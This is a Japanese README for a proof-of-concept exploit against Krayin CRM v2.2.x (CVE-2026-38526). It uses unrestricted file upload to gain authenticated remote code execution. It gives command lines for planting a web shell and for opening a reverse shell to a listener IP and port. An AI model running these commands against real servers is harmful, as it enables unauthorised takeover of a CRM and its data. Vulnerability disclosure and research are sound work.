CVE-2026-38526 - Krayin CRM RCE

説明

Krayin CRM v2.2.x における重大な脆弱性の PoC スクリプト。ファイルアップロードの制限がないことを利用した認証済み RCE を許可します。

使用方法

# Web シェル
python3 exploit.py -u http://target.com -e [email protected] -p password123

# リバースシェル
python3 exploit.py -u http://target.com -e [email protected] -p password123 -l 10.10.10.10 -P 4444

必要条件

• Python 3.8+
• requests, bs4

免責事項

教育目的のみで使用してください。

参照

• https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2026-38526/poc.md